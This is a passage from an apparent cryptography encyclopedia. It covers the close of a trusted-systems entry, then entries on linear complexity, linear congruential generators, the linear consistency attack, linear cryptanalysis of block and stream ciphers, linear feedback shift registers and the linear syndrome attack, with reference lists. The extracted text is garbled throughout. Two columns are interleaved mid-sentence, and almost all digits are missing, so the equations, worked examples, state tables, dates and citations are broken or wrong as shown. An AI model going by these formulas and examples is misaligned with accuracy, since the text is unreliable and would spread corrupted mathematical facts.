ated or well tested for security flaws. Developed software controls to development area is required. Security screen-
is done using processes that include security criteria. Code ing or background checks of all personnel involved in the
inspections with security checklists are used, and engineers project is required.
are trained in secure software development standards. All SW and hardware development tools must have a high
security-relevant software is verified using code integrity level of assurance from a security perspective. Only open
checking tools. or closed source tools that come from reputable companies
Hardware may be COTS systems, boards, and com- are selected. Tools outputs are be verified for Trojans and
ponents. Selection is based on performance to functional other security flaws.
requirements, and must include support of the security Purchased software is selected and integrated with
requirements. regard to trust. Selected software must have been evaluated
System and software installation or upgrades are per- or well tested for security flaws. Developed software
formed by trusted personnel, tools, or applications. Spe- is done with processes that include security criteria.
cific measures are in place to ensure data and software con- Code inspections with security checklists are used; engi-
fidentiality and integrity during upgrades. These measures neers are trained in secure software development. All
L LFSR
security-relevant software is verified using code integrity Denition

checking tools. The linear complexity of a semi-infinite sequence s =
Hardware must be designed and developed to meet (st )t of elements of Fq , (s), is the smallest integer
trust requirements. Selection is based on performance to such that s can be generated by a linear feedback shift reg-
functional requirements, and must include support of the ister (LFSR) of length over Fq , and is if no such LFSR
security requirements. Specific hardware designs are used exists. By way of convention, the linear complexity of the
to create trust and are required to secure and verify the sys- all-zero sequence is equal to . The linear complexity of a
tem. In some systems the individual ICs must be trusted (to linear recurring sequence corresponds to the degree of its
prove lack of Trojans or other malicious circuitry). minimal polynomial.
System installation and upgrades are performed by The linear complexity (sn ) of a finite sequence sn =
trusted personnel, tools, or applications. Specific measures s s . . . sn of n elements of Fq is the length of the shortest
are in place to ensure data and software confidentiality and LFSR which produces sn as its first n output terms for some
integrity during upgrades. Deployed system configuration initial state. The linear complexity of any finite sequence
control and release is performed by trusted personnel, can be determined by the BerlekampMassey algorithm.
configuration tools, or applications. FIPS - Security An important result due to Massey () is that, for any
Level crypto requirements are applicable. finite sequence sn of length n, the LFSR of length (sn )
which generates sn is unique if and only if n (sn ).
Open Problems
A methodology to assess attacks risk (probability of an Theory
attack and consequence of the occurrence of a successful
The linear complexity of an infinite linear recurring
attack) and quantifying the trust level/protection mecha-
sequence s and the linear complexity of the finite sequence
nisms to reduce the probability of occurrence still remain sn composed of the first n digits of s are related by the fol-
to be developed.
lowing property: if s is an infinite linear recurring sequence
Recommended Reading with linear complexity , then the finite sequence sn has
. Bertrand M () The grand challenge of trusted components.
linear complexity for any n . Moreover, the unique
In: Proceedings of the th international conference on software LFSR of length that generates s is the unique LFSR of
engineering (ICSE), Portland, Oregon, IEEE length that generates sn for every n .
. FIPS PUB - (DRAFT) Information Technology Laboratory, For a sequence s = s s . . ., the sequence of the lin-
National Institute of Standards and Technology, Gaithersburg, ear complexities ((sn ))n of all subsequences sn =
-
. Amoroso E, Nguyen T, Weiss J, Watson J, Lapiska P, Starr T ()
s . . . sn composed of the first n terms of s is called the
Toward an approach to measuring software trust. In: Proceed- linear complexity profile of s.
ings of the IEEE computer society symposium on research The expected linear complexity of a binary sequence
in security and privacy, Oakland, IEEE sn = s . . . sn of n independent and uniformly distributed
binary random variables is
n + (n) n
E[(sn )] = + + n ( + ) ,
LFSR
where (n) = n mod .
Linear Feedback Shift Register If s is an infinite binary sequence of period n which is
obtained by repeating a sequence s . . . sn of n indepen-
dent and uniformly distributed binary random variables,
Linear Complexity its expected linear complexity is
n
E[(s)] = n + .
Anne Canteaut
Project-Team SECRET, INRIA Paris-Rocquencourt, Further results on the linear complexity and on the lin-
Le Chesnay, France ear complexity profile of random sequences can be found
in [].
Related Concepts
BerlekampMassey Algorithm; Combination Recommended Reading
Generator; Filter Generator; Linear Feedback Shift . Rueppel RA () Analysis and design of stream ciphers.
Register; Minimal Polynomial; Stream Cipher Springer-Verlag, New York
Linear Consistency Attack L
In both cases, it can be shown that the sequence remains

Linear Congruential Generator predictable [, ]. Another variant has also been stud-
ied, considering that some least significant bits of the
Caroline Fontaine produced integers are discarded; but such sequences still
Lab-STICC/CID and Telecom Bretagne/ITI, are predictable [, , ]. A more precise state of the art
CNRS/Lab-STICC/CID and Telecom Bretagne, about cryptanalytic attacks of such generators can be found
Brest Cedex , France in [].
Recommended Reading
Related Concepts . Plumstead JB () Inferring a sequence generated by a linear
Pseudorandom Generator; Stream Cipher congruence. In: Proceedings of the IEEE rd annual symposium
on foundations of computer science, IEEE, pp
Denition . Plumstead JB () Inferring a sequence produced by a linear
A linear congruential generator is a pseudorandom gen- congruence. Advances in Cryptology Crypto, Plenum Press,
New York, pp
erator that produces a sequence of numbers x , x , x , . . . . Boyar J () Inferring sequences produced by a linear congru-
according to the following linear recurrence: ential generator missing low-order bits. J Cryptol :
. Krawczyk H () How to predict congruential generators.
xt = axt + b mod n J Algorithms :
. Frieze AM, Hastad J, Kannan R, Lagarias JC, Shamir A ()
for t (modular arithmetic); integers a, b, and n charac- Reconstructing truncated integer variables satisfying linear con-
terize entirely the generator, and the seed is x . gruence. SIAM J Comput :
. Stern J () Secret linear congruential generators are not
Example cryptographically secure. In: Proceedings of the IEEE th
annual symposium on foundations of computer science, IEEE,
Considering for example a = , b = , n = , and
pp
x = , the sequence produced by the linear congruen- . Brickell EF, Odlyzko AM () Cryptanalysis: a survey of recent
tial generator will be , , , , , , , , , , , , , results. Contemporary Cryptology: The Science of Information
, , . . . Integrity, IEEE-Press, New York, pp
L
Background
Pseudorandom generators are very useful in cryptography,
in protocols, but also in the generation of keystreams in Linear Consistency Attack
stream ciphers. In this case, they have to present strong
properties to face cryptanalysis. Anne Canteaut
Project-team SECRET, INRIA Paris-Rocquencourt,
Applications Le Chesnay, France
Such generators are easy to implement and pass the fol-
lowing statistical tests: Golombs randomness postulates,
frequency test, serial test, poker test, runs test, autocorre- Related Concepts
lation test, Maurers universal statistical test. Hence, it can Linear Cryptanalysis for Stream Ciphers; Stream
be considered as a good candidate for generating strong Cipher
pseudorandom sequences. However, there is an important
drawback: the sequence is predictable: given a piece of the Denition
sequence, it is easy to reconstruct the whole rest of it, even The linear consistency attack is a divide-and-conquer
if the attacker does not know the exact values of a, b, technique which provides a known plaintext attack on
and n [, ]. So, it would be very dangerous to use it in a stream ciphers. It was introduced by Zeng, Yang, and
cryptographic purpose. Some variants have been consid- Rao in . It has been applied to various keystream
ered, using either several terms in the linear recurrence generators, like the Jenning generator [], the stop-and-go
equation, generator [], and the E cipher used in Bluetooth [].
xt = a xt + a xt + . . . + a xt + b mod n, Theory
or a quadratic recurrence relation, The linear consistency attack applies as soon as it is possi-
ble to single out a portion K of the secret key and to form a

xt = axt + bxt + c mod n. system Ax = b of linear equations, where the matrix A only
L Linear Cryptanalysis for Block Ciphers
depends on K and the right-side vector b is determined by Theory

the known keystream bits. Then, an exhaustive search for The next section provides some more details about the
K can be performed. The correct value of K can be distin- attack algorithm. Sections Piling-up Lemma to Provable
guished from a wrong one by checking whether the linear security against linear cryptanalysis discuss a number of
system is consistent or not. Once K has been recovered, practical and theoretical aspects which play a role in lin-
the solution x of the system may provide some additional ear cryptanalysis. Section Comparison with differential
bits of the secret key. cryptanalysis points out analogies between linear and dif-
ferential cryptanalysis, and Section Extensions concludes
Recommended Reading with some extended variants of linear cryptanalysis.
. Fluhrer SR, Lucks S () Analysis of the E encryption system.
In: Selected areas in cryptography SAC , Lecture notes in Outline of a Linear Attack
computer science, vol . Springer, Berlin, pp Following Matsuis notation, we denote by A[i] the
. Zeng K, Yang CH, Rao TRN () On the linear consistency
ith bit of A and by A[i , i , . . . , ik ] the parity bit
test (LCT) in cryptanalysis with applications. In: Advances in
cryptology CRYPTO. Lecture notes in computer science, A[i ] A[i ] A[ik ]. The first task of the attacker
vol . Springer, Berlin, pp is to find a suitable linear approximation. For simple lin-
ear operations such as an XOR with the key or a per-
mutation of bits, very simple linear expressions can be
written which hold with probability one. For nonlinear ele-
Linear Cryptanalysis for Block ments of a cipher such as S-boxes, one tries to find linear
approximations with probability p that maximizes p .
Ciphers Approximations for single operations inside a cipher are
then further combined into approximations that hold for
Alex Biryukov , Christophe De Cannire a single round of a cipher. By appropriate concatena-

FDEF, Campus Limpertsberg, University of tion of one-round approximations, the attacker eventu-
Luxembourg, Luxembourg ally obtains an approximation for the whole cipher of

Department of Electrical Engineering, Katholieke the type:
P [i , i . . . , ia ] C [ j , j , . . . , jb ]
()
= K [k , k , . . . , kc ] ,
Related Concepts where i , i , . . . , ia , j , j , . . . , jb , and k , k , . . . , kc denote
Block Ciphers; FEAL fixed bit locations. Note that such approximation is inter-
esting only if it holds with a probability p (how
Denition this probability is calculated is explained in the next sec-
Linear cryptanalysis is a known plaintext attack in which tion). For DES, Matsui found such an approximation with
the attacker studies probabilistic linear relations (called lin- probability + . Using this approximation, a sim-
ear approximations) between parity bits of the plaintext, ple algorithm based on the maximum likelihood method
the ciphertext, and the secret key. Given an approxima- can be used to find one parity bit K[k , k , . . . , kc ] of
tion with high probability, the attacker obtains an estimate the key:
for the parity bit of the secret key by analyzing the parity Given a pool of N random known plaintexts, let T
bits of the known plaintexts and ciphertexts. Using auxil- be the number of plaintexts such that the left side of the
iary techniques, he or she can usually extend the attack to Eq. is .
find more bits of the secret key.
if (T N/) (p /) > then
Background K [k , . . . , kc ] =
Linear cryptanalysis is a powerful method of else
cryptanalysis of block ciphers introduced by Matsui in K [[k , . . . , kc ]] =
[]. The attack in its current form was first applied
end if
to the Data Encryption Standard (DES), but an early
variant of linear cryptanalysis, developed by Matsui and In order for the parity bit K[k , k , . . . , kc ] to be recovered
Yamagishi, was already successfully used to attack FEAL correctly with a reasonable probability, Matsui demon-
in []. strated that the amount of plaintext N needs to be in
Linear Cryptanalysis for Block Ciphers L

the order of p . More efficient algorithms for lin- Matsuis Search for the Best
ear cryptanalysis, which find more key bits, are described Approximations
in []. The Piling-up Lemma in the previous section provides a
useful tool to estimate the strength of a given approxima-
Piling-up Lemma tion, but the problem remains how to find the strongest
The first stage in linear cryptanalysis consists in finding approximations for a given cipher. For DES, this open
useful approximations for a given cipher (or in demon- problem was solved by Matsui in []. In his second
strating that no useful approximations exist, which is usu- paper, he proposes a practical search algorithm based on
ally much more difficult). Although the most biased linear a recursive reasoning. Given the probabilities of the best
approximation can easily be found in an exhaustive way i-round characteristic with i n , the algorithm effi-
for a simple component such as an S-box, a number of ciently derives the best characteristic for n rounds. This is
practical problems arise when trying to extrapolate this done by traversing a tree where branches are cut as soon
method to full-size ciphers. The first problem concerns the as it is clear that the probability of a partially constructed
computation of the probability of a linear approximation. approximation cannot possibly exceed some initial estima-
In principle, this would require the cryptanalyst to run tion of the best n-round characteristic.
through all possible combinations of plaintexts and keys, Matsuis algorithm can be applied to many other
which is clearly infeasible for any practical cipher. The solu- block ciphers, but its efficiency varies. In the first place,
tion to this problem is to make a number of assumptions the running time strongly depends on the accuracy of
and to approximate the probability using the so-called the initial estimation. Small estimations increase the size
Piling-up Lemma. of the search tree. On the other hand, if the estimation is
too large, the algorithm will not return any characteristic
Lemma Given n independent random variables at all. For DES, good estimations can be easily obtained by
X , X , . . . , Xn taking on values from {,}, then the bias first performing a restricted search over all characteristics
= p / of the sum X = X X . . . Xn is given by: which only cross a single S-box in each round. This does
not work as nicely for other ciphers, however. The specific
properties of the S-boxes also affect the efficiency of the
L
n
n algorithm. In particular, if the maximum bias of the S-box
= j , ()
j= is attained by many different approximations (as opposed
to the distinct peaks in the DES S-boxes), this will slow
where , , . . . , n are the biases of the terms X , X , . . ., Xn . down the algorithm.
Notice that the lemma can be further simplified by
defining c = , known as the imbalance or the (cor- Linear Hulls
relation) of an expression. With this notation, Eq. Estimating the bias of approximations by constructing lin-
reduces to ear characteristics is very convenient, but in some cases,
n
the value derived in this way diverges significantly from
c = cj .
j= the actual bias. The most important cause for this differ-
ence is the so-called linear hull effect, first described by
In order to estimate the probability of a linear approx- Nyberg in []. The effect takes place when the cor-
imation using the Piling-up Lemma, the approximation is relation between plaintext and ciphertext bits, described
written as a chain of connected linear approximations, each by a specific linear approximation, can be explained by
spanning a small part of the cipher. Such a chain is called a multiple linear characteristics, each with a non-negligible
linear characteristic. Assuming that the biases of these par- bias, and each involving a different set of key bits. Such a
tial approximations are statistically independent and easy set of linear characteristics with identical input and out-
to compute, the total bias can be computed using Eq. . put masks is called a linear hull. Depending on the value of
Although the Piling-up Lemma produces very good the key, the different characteristics will interfere construc-
estimations in many practical cases, even when the approx- tively or destructively, or even cancel out completely. If the
imations are not strictly independent, it should be stressed sets of keys used in the different linear characteristics are
that unexpected effects can occur when the independence independent, then this effect might considerably reduce
assumption is not fulfilled. In general, the actual bias in the average bias of expression (), and thus the success
these cases can be both much smaller and much larger than rate of the simple attack described above. Nybergs paper
predicted by the lemma. shows, however, that the more efficient attacks described
L Linear Cryptanalysis for Block Ciphers
in [], which only use the linear approximations as a are essentially the same. The notion of differentials has
distinguisher, will typically benefit from the linear hull a corresponding notion of linear hulls. Together with
effect. striking methodological similarity between the two tech-
niques, there is also duality [] of operations: XOR
Provable Security Against Linear branch and three-forked branch are mutually dual
Cryptanalysis regarding their action on differences and masks, respec-
The existence of a single sufficiently biased linear charac- tively. An important distinction between the two meth-
teristic suffices for a successful linear attack against a block ods is that differential cryptanalysis works with blocks
cipher. A designers first objective is therefore to ensure of bits, while linear cryptanalysis typically works with
that such characteristic cannot possibly exist. This is usu- a single bit. The bias of the linear approximation has
ally done by choosing highly nonlinear S-boxes and then a sign. Thus, given two approximations with the same
arguing that the diffusion in the cipher forces all charac- input and output masks and equal probability but oppo-
teristics to cross a sufficiently high minimal number of site signs, the resulting approximation will have zero bias,
active S-boxes. due to the cancellation of the two approximations by each
The above approach provides good heuristic argu- other.
ments for the strength of a cipher, but in order to rigorously
prove the security against linear cryptanalysis, the designer
also needs to take into account more complex phenomena
such as the linear hull effect. For DES-like ciphers, such Extensions
security proofs were studied by Knudsen and Nyberg, first The linear cryptanalysis technique has received much
with respect to differential cryptanalysis [], and then also attention since its invention and has enjoyed several exten-
applied to linear cryptanalysis []. The results inspired sions. One technique is a combined differentiallinear
the design of a number of practical block ciphers such approach proposed by Langford and Hellman. Other
as MISTY (or its variant KASUMI; KASUMI/MISTYI), extensions include key-ranking which allows for a tradeoff
Rijndael/AES, Camellia, and others. Later, similar between data and time of analysis [, , ]; partition-
proofs were formulated for ciphers based on SP-networks ing cryptanalysis [] which studies correlation between
[, ]. partitions of the plaintext and ciphertext spaces (no prac-
A somewhat more general theory for provable security tical cipher has been broken via this technique so far);
against a class of attacks, including basic linear cryptanal- X cryptanalysis [, ] has been applied successfully
ysis, is based on the notion of decorrelation, introduced against several ciphers, including round-reduced versions
by Vaudenay []. The theory suggests constructions were of RC; the use of nonlinear approximations was sug-
a so-called Decorrelation Module that effectively blocks gested [, ], but so far it provided only small improve-
the propagation of all traditional linear and differential ments over the linear cryptanalysis. A full nonlinear gen-
characteristics. eralization still remains evasive. The idea to use mul-
An important remark with respect to the previous tiple approximations has been proposed in [] though
notions of provable security, however, is that ciphers the problem of estimating the attackers gain as well as
which are provably optimal against some restricted class of information extraction from such approximations largely
attacks often tend to be weak when subject to other types remained opened. In [] by using a maximal likelihood
of attacks [, ]. framework, explicit gain formulas have been derived.
Define capacity c of a system of m approximations as
Comparison with Dierential m
c = J , where j are the biases of individ-
Cryptanalysis j=
Linear cryptanalysis has many methodological similari- ual approximations. For a fixed attackers gain over the
ties with differential cryptanalysis as is noted in []. exhaustive search, the data complexity N of the multi-
Differential characteristics correspond to linear approxi- ple linear attack is proportional to c the capacity of the
mations. Difference distribution tables are replaced by lin- information channel provided by multiple approxima-
ear approximation tables. Concatenation rule for differ- tions. The paper also describes several algorithms which
ential characteristics: match the differences, multiply the provide such gains. A conversion of a known plaintext
probabilities corresponds to concatenation rule for linear linear attack to a chosen plaintext linear attack has been
approximations (the piling-up lemma): match the masks, proposed in []. Finally note that similar techniques have
multiply the imbalances. The algorithms that search for been applied to stream ciphers (Linear Cryptanalysis for
the best characteristic or the best linear approximation Stream Ciphers).
Linear Cryptanalysis for Stream Ciphers L
Recommended Reading . Nyberg K, Knudsen LR () Provable security against a differ-

. Biham E () On Matsuis linear cryptanalysis. In: De Santis ential attack. J Cryptol ():
A (ed) Advances in cryptology eurocryrt. Lecture notes in . Santis AD (ed) (). In: De Santis A (ed) Advances in cryptol-
computer science, vol . Springer, Berlin, pp ogy eurocrypt. Lecture notes in computer science, vol .
. Biryukov A, De Cannire C, Quisquater M () On multiple Springer, Berlin
linear approximations In: Franklin M (ed) Advances in cryp- . Selcuk AA () On probability of success in differential
tology, proceedings of crypto . Lecture notes in computer and linear cryptanalysis. Technical report, network systems
science, vol . Springer, pp lab, department of computer science, Purdue University, .
. Desmedt Y (ed) (). In: Desmedt YG (ed) Advances in cryp- Previously published at SCN
tology crypto. Lecture notes in computer science, vol . . Shimoyama T, Kaneko T () Quadratic relation of S-box
Springer, Berlin and its application to the linear attack of full round des. In:
. Harpes C, Massey JL () Partitioning cryptanalysis. In: Krawczyk H (ed) Advances in cryptology crypto. Lecture
Biham E () Fast software encryption, FSE. Lecture notes notes in computer science, vol . Springer, Berlin, pp
in computer science, vol . Springer, Berlin, pp . Shimoyama T, Moriai S, Kaneko T, Tsujii S () Improved
. Hong S, Lee S, Lim J, Sung J, Cheon D, Cho I () Prov- higher order differential attack and its application to Nyberg-
able security against differential and linear cryptanalysis for Knudsens designed block cipher. IEICE Trans Fundament E-
the SPN structure. In: Schneier B (ed) Proceedings of fast soft- A(): http://search.ieice.or.jp//files/ea.
ware encryption FSE . Lecture notes in computer science, htm#e-a,,
vol . Springer-Verlag, Berlin, pp . Vaudenay S () On the weak keys of blowfish. In: Goll-
. Junod P, Vaudenay S () Optimal key ranking procedures mann D (ed) Fast software encryption, FSE. Lecture notes
in a statistical cryptanalysis. In: Johansson T (ed) Fast soft- in computer science, vol . Springer, Berlin, pp
ware encryption, FSE . Lecture notes in computer science, . Vaudenay S () Decorrelation: a theory for block cipher
vol . Springer, Berlin, pp security. Journal of Cryptology ():
. Kaliski BS, Robshaw MJ () Linear cryptanalysis using mul- . Wagner D () The boomerang attack. In: Knudsen LR (ed)
tiple approximations. In: Desmedt Y (ed) Advances in cryptog- Fast software encryption, FSE. Lecture notes in computer
raphy crypto. Lecture notes in computer science, vol . science, vol . Springer, Berlin, pp
. Keliher L, Meijer H, Tavares SE () New method for upper
bounding the maximum average linear hull probability for SPNs.
In: Pfitzmann B (ed) eurocrypt . Lecture notes in computer Linear Cryptanalysis for Stream L
. Knudsen LR, Mathiassen JE () A chosen-plaintext linear Ciphers
attack on DES. In: Schneier B (ed) Fast software encryption,
FSE . Lecture notes in computer science, vol . Springer, Anne Canteaut
Berlin, pp Project-Team SECRET, INRIA Paris-Rocquencourt,
. Knudsen LR, Meier W () Correlations in RC with a
Le Chesnay, France
reduced number of rounds. In: Schneier B (ed) Proceedings of
fast software encryption FSE . Lecture notes in computer
science, vol . Springer, Berlin, pp Related Concepts
. Knudsen LR, Robshaw MJB () Non-linear approximations Fast Correlation Attack; Linear Cryptanalysis; Stream
in linear cryptanalysis. In: Maurer U (ed) Advances in cryptol-
Cipher
ogy eurocrypt. Lecture notes in computer science, vol .
. Matsui M () Linear cryptanalysis method for DES cipher. In: Denition
Helleseth T (ed) Advances in cryptology eurocrypt. Lecture Linear cryptanalysis for stream ciphers relies on the same
basic principles as the linear cryptanalysis for block
. Matsui M, Yamagishi A () A new method for known plain-
text attack of FEAL cipher. In: Rueppel RA (ed) Advances in
ciphers introduced by Matsui. It exploits the existence
cryptography eurocrypt. Lecture notes in computer sci- of biased linear relations between some keystream bits
ence, vol . Springer, Berlin, pp and some key bits. The linear cryptanalysis provides a
. Matsui M () The first experimental cryptanalysis of the data known plaintext attack on various stream ciphers,
encryption standard. In: Desmedt YG (ed) Advances in cryptog-
which allows to distinguish the keystream from a truly ran-
raphy crypto. Lecture notes in computer science, vol .
dom sequence. Such a distinguishing attack can be used
. Matsui M () On correlation between the order of S-boxes and for reducing the uncertainty of unknown plaintexts, or
the strength of DES. In: De Santis S (ed) Advances in cryptol- for recovering the unknown structure of the keystream
ogy eurocrypt. Lecture notes in computer science, vol . generator. It may also be extended to a key-recovery
attack in some cases. It might be mounted in the context
. Nyberg K () Linear approximations of block ciphers. In:
De Santis (ed) Advances in cryptography eurocrypt. Lec-
of a resynchronization attack, when several keystream
ture notes in computer science, vol . Springer, Berlin, segments corresponding to different initial values are avail-
pp able to the attacker.
L Linear Feedback Shift Register
Background . Nyberg K, Walln J () Improved linear distinguishers for

In the context of stream ciphers, linear cryptanalysis is SNOW .. In: Fast software encryption FSE . Lecture
a terminology introduced by Golic in []. However,
linear attacks against stream ciphers were known before ciphertext only. IEEE Trans Comput C-():
the introduction of linear cryptanalysis by Matsui: for . Watanabe D, Biryukov A, De Cannire C () A distin-
instance, the correlation attack on the combination guishing attack of SNOW . with linear masking method. In:
generator presented by Siegenthaler in [] exploits a Selected areas in cryptography SAC . Lecture notes in
biased linear relation between the keystream and the bits
of the initial state of a constituent register.
Theory
The linear cryptanalysis consists in finding some linear Linear Feedback Shift Register
functions of the keystream bits which are not balanced,
i.e., which are not uniformly distributed. Such linear Anne Canteaut
correlations are used for distinguishing the keystream Project-Team SECRET, INRIA Paris-Rocquencourt,
sequence from a random sequence by a classical statisti- Le Chesnay, France
cal test.
Biased linear relations are usually found by replacing
the nonlinear components in the cipher by appropriate lin-
Synonyms
LFSR
ear approximations. General methods for exhibiting such
relations include the correlation attack [] against the
Related Concepts
combination generator and on the filter generator, the
BerlekampMassey Algorithm; Combination Genera-
linear sequential circuit approximation due to Golic [, ]
tor; Filter Generator; Linear Complexity; Minimal
and some variants used in [] against several LFSR-
Polynomial; Stream Cipher
based generators.
Linear cryptanalysis has led to successful attacks on
Denition
several stream ciphers, including SOBER [], SNOW [,
Linear Feedback Shift Registers (LFSRs) are the basic com-
, ], E [], and the original version of Grain [].
ponents of many running-key generators for stream
cipher applications, because they are appropriate to hard-
Recommended Reading ware implementation and they produce sequences with
. Berbain C, Gilbert H, Maximov A () Cryptanalysis of
Grain. In: Fast software encryption FSE . Lecture notes
good statistical properties. LFSR refers to a feedback shift
in computer science, vol . Springer, Berlin, pp register with a linear feedback function (Nonlinear Feed-
. Canteaut A, Filiol E () Ciphertext only reconstruction of back Shift Register).
stream ciphers based on combination generators. In: Fast soft- An LFSR of length L over Fq is a finite state automaton
ware encryption FSE . Lecture notes in computer science, which produces a semi-infinite sequence of elements of Fq ,
. Coppersmith D, Halevi S, Jutla C () Cryptanalysis of stream
s = (st )t = s s . . ., satisfying a linear recurrence relation
ciphers with linear masking. In: Advances in cryptology of degree L over Fq
CRYPTO . Lecture notes in computer science, vol . L
Springer, Berlin, pp st+L = ci st+Li , t .
. Ekdahl P, Johansson T () Distinguishing attacks on SOBER- i=
t and t. In: Fast software encryption FSE . Lecture
notes in computer science, vol . Springer, Berlin, pp The L coefficients c , . . . , cL are elements of Fq . They are
. Golic JDj, Bagini V, Morgari G () Linear cryptanalysis of called the feedback coefficients of the LFSR.
Bluetooth stream cipher. In: Advances in cryptology EURO- An LFSR of length L over Fq has the following form:
CRYPT . Lecture notes in computer science, vol .
st+L
. Golic JDj () Correlation via linear sequential circuit
st+L1 st+L2 st+1 st
approximation of combiners with memory. In: Advances in output
cryptology EUROCRYPT. Lecture notes in computer sci-
ence, vol . Springer, Berlin, pp c1 c2 cL1 cL
. Golic JDj () Linear cryptanalysis of stream ciphers. In:
Fast software encryption FSE. Lecture notes in computer
+ + +
Linear Feedback Shift Register L
The register consists of L delay cells, called stages, each Alternatively, one can use the characteristic polynomial
containing an element of Fq . The contents of the L stages, [], which is the reciprocal polynomial of the feedback
st , . . . , st+L , form the state of the LFSR. The L stages are polynomial:
initially loaded with L elements, s , . . . , sL , which can be L
arbitrary chosen in Fq ; they form the initial state of the P (X) = X L P(/X) = X L ci X Li .
register. i=
The shift register is controlled by an external clock. At For instance, the feedback polynomial of the binary LFSR
each time unit, each digit is shifted one stage to the right. shown in Fig. is P(X) = + X + X and its characteristic
The content of the rightmost stage st is output. The new polynomial is P (X) = + X + X .
content of the leftmost stage is the feedback bit, st+L . It is An LFSR is said to be non-singular if the degree of its
obtained by a linear combination of the contents of the feedback polynomial is equal to the LFSR length (i.e., if the
register stages, where the coefficients of the linear combi- feedback coefficient cL differs from ). Any sequence gen-
nation are given by the feedback coefficients of the LFSR: erated by a non-singular LFSR of length L is periodic, and
L its period does not exceed qL . Indeed, the LFSR has
st+L = ci st+Li . at most qL different states and the all-zero state is always
i= followed by the all-zero state. Moreover, if the LFSR is sin-
Therefore, the LFSR implements the linear recurrence gular, all generated sequences are ultimately periodic, that
relation of degree L: is, the sequences obtained by ignoring a certain number of
elements at the beginning are periodic [].
L
st+L = ci st+Li , t . Characterization of LFSR output sequences. A given LFSR
i=
of length L over Fq can generate qL different sequences
Example. Table gives the successive states of the binary corresponding to the qL different initial states and these
LFSR of length with feedback coefficients c = c = , sequences form a vector space over Fq . The set of all
c = c = and with initial state (s , s , s , s ) = (, , , ). sequences generated by an LFSR with feedback polynomial
This LFSR is depicted in Fig. . It corresponds to the linear P is characterized by the following property: a sequence L
recurrence relation (st )t is generated by an LFSR of length L over Fq with
feedback polynomial P if and only if there exists a polyno-
st+ = st+ + st mod . mial Q Fq [X] with deg(Q) < L such that the generating
The output sequence s s . . . generated by this LFSR is function of (st )t satisfies
. . .. t Q(X)
st X = .
t P(X)
Theory
Feedback polynomial and characteristic polynomial. The
output sequence of an LFSR is uniquely determined by
its feedback coefficients and its initial state. The feedback
coefficients c , . . . , cL of an LFSR of length L are usually
represented by the LFSR feedback polynomial (or connec-
tion polynomial) defined by +
L Linear Feedback Shift Register. Fig. Binary LFSR with feed-

P(X) = ci X i . back coecients (c , c , c , c ) = (, , , )
i=
Linear Feedback Shift Register. Table Successive states of the LFSR with feedback coecients (c , c , c , c ) = (, , , ) and
with initial state (s , s , s , s ) = (, , , )
t
st
st+
st+
st+
L Linear Feedback Shift Register
1 0 0 1 0 0 1 0 0 1
+ + + +
Linear Feedback Shift Register. Fig. Example of a LFSR of length
Moreover, the polynomial Q is completely determined 0 0 1

by the coefficients of P and by the initial state of
the LFSR:
Linear Feedback Shift Register. Fig. LFSR of length which
i
L
i generates the same sequence as the LFSR of Fig.
Q(X) = X cij sj ,
i= j=
where P(X) = Li= ci X i . This result, which is called Example. The binary LFSR of length depicted in Fig.
the fundamental identity of formal power series of lin- has feedback polynomial
ear recurring sequences, means that there is a one-to- P(X) = + X + X + X + X + X ,
one correspondence between the sequences generated by
an LFSR of length L with feedback polynomial P and and its initial state s . . . s is .
the fractions Q(X)/P(X) with deg(Q) < L. It has two The generating function of the sequence produced by
major consequences. On the first hand, any sequence gen- this LFSR is given by
erated by an LFSR with feedback polynomial P is also
t Q(X)
generated by any LFSR whose feedback polynomial is a st X =
multiple of P. This property is used in some attacks on t P(X)
keystream generators based on LFSRs (Fast Correlation where Q is deduced from the coefficients of P and from the
attack). On the other hand, a sequence generated by an initial state:
LFSR with feedback polynomial P is also generated by a Q(X) = + X + X .
shorter LFSR with feedback polynomial P if the corre-
sponding fraction Q(X)/P(X) is such that gcd(P, Q) . Therefore, we have
Thus, amongst all sequences generated by the LFSR with t + X + X
feedback polynomial P, there is one which can be gener- st X = = ,
t + X + X + X + X + X + X
ated by a shorter LFSR if and only if P is not irreducible
over Fq . since + X + X + X + X + X = ( + X + X )( + X )
Moreover, for any linear recurring sequence (st )t , in F [X]. This implies that (st )t is also generated by the
there exists a unique polynomial P with constant term LFSR with feedback polynomial P (X) = + X depicted
equal to , such that the generating function of (st )t is in Fig. . The minimal polynomial of the sequence is then
given by Q (X)/P (X), where P and Q are relatively + X and its linear complexity is equal to .
prime. Then, the shortest LFSR which generates (st )t has Period of an LFSR sequence. The minimal polynomial of
length L = max(deg(P ), deg(Q ) + ), and its feedback a linear recurring sequence plays a major role since it
polynomial is equal to P . The reciprocal polynomial of P , completely determines the linear complexity and the least
X L P (/X), is the characteristic polynomial of the short- period of the sequence. Actually, the least period of a lin-
est LFSR which generates (st )t ; it is called the minimal ear recurring sequence is equal to the period of its minimal
polynomial of the sequence. It determines the linear recur- polynomial. The period (also called the order) of a poly-
rence relation of least degree satisfied by the sequence. nomial P in Fq [X], where P() , is the least positive
The degree of the minimal polynomial of a linear recur- integer e for which P(X) divides X e . Then, s has maxi-
ring sequence is the linear complexity of the sequence. It mal period q(s) if and only if its minimal polynomial
corresponds to the length of the shortest LFSR which gen- is a primitive polynomial (i.e., if the period of its minimal
erates it. The minimal polynomial of a sequence s = (st )t polynomial is maximal). For instance, the sequence gen-
of linear complexity (s) can be determined from the erated by the LFSR shown in Fig. has period because
knowledge of at least (s) consecutive bits of s by the its minimal polynomial + X has period . This sequence
BerlekampMassey algorithm. is . . .. On the other hand, any nonzero sequence
Location Information (Privacy of) L
generated by the LFSR of length depicted in Fig. has Denition

period = . Actually, the minimal polynomial of any The linear syndrome attack is an attack on LFSR-based
such sequence corresponds to its characteristic polynomial keystream generators, which was presented by Zeng and
P (X) = +X+X , because P is irreducible. Moreover, P Huang in [] (see also []). It is a weak version of
is a primitive polynomial. Any sequence s = (st )t gen- the fast correlation attack, which was independently pro-
erated by an LFSR of length L which has a primitive feed- posed by Meier and Staffelbach [].
back polynomial has the highest possible linear complexity
(s) = L and the highest possible period qL . Such Recommended Reading
sequences are called maximal-length linear sequences . Meier W, Staffelbach O () Fast correlation attacks on stream
(m-sequences). Because of the previous optimal proper- ciphers. In: Advances in cryptology EUROCRYPT. Lecture
ties, the linear recurring sequences used in cryptography
. Zeng K, Huang M () On the linear syndrome method in
are always chosen to be m-sequences. Moreover, they cryptanalysis. In: Advances in cryptology CRYPTO. Lecture
possess good statistical properties [] (maximal-length notes in computer science, vol . Springer, Berlin, pp
linear sequences for further details). In other terms, the . Zeng K, Yang CH, Rao TRN () An improved linear syn-
